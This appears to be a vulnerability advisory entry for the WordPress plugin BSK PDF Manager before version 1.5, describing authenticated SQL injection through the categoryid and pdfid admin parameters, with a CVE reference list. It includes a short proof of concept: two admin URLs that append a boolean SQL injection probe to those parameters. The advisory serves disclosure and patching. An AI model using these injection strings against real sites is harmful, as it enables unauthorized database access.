Lucene search
WpvulndbWPVDB-ID:D6998E1E-A75B-4A56-ABB6-C8E8C05D93CBHistoryAug 01, 2014 - 12:00 a.m.
BSK PDF Manager < 1.5 - Multiple Authenticated SQL Injections
2014-08-0100:00:00
wpscan.com
7
0.001 Low
EPSS
Percentile
42.9%
The plugin did not use prepared statement with the categoryid and pdfid parameter when viewing the /wp-admin/admin.php?page=bsk-pdf-manager and /wp-admin/admin.php?page=bsk-pdf-manager-pdfs page leading to Authenticated SQL Injection issues
PoC
https://127.0.0.1/wp-admin/admin.php?page=bsk-pdf-manager-pdfs&view;=edit&pdfid;=1 and 1=2 https://127.0.0.1/wp-admin/admin.php?page=bsk-pdf-manager&view;=edit&categoryid;=1 and 1=2
| CPE | Name | Operator | Version |
|---|---|---|---|
| bsk-pdf-manager | lt | 1.5 |
Related
patchstack
patchstack
WordPress BSK PDF Manager Plugin - Multiple SQL Injection Vulnerabilities
2014-07-09 00:00:00
exploitdb
exploitdb
cvelist
cvelist
CVE-2014-4944
2022-10-03 16:20:46
wpexploit
wpexploit
BSK PDF Manager < 1.5 - Multiple Authenticated SQL Injections
2014-08-01 00:00:00
cve
cve
CVE-2014-4944
2022-10-03 16:20:46
prion
prion
Sql injection
2014-07-14 14:55:00
nvd
nvd
CVE-2014-4944
2014-07-14 14:55:07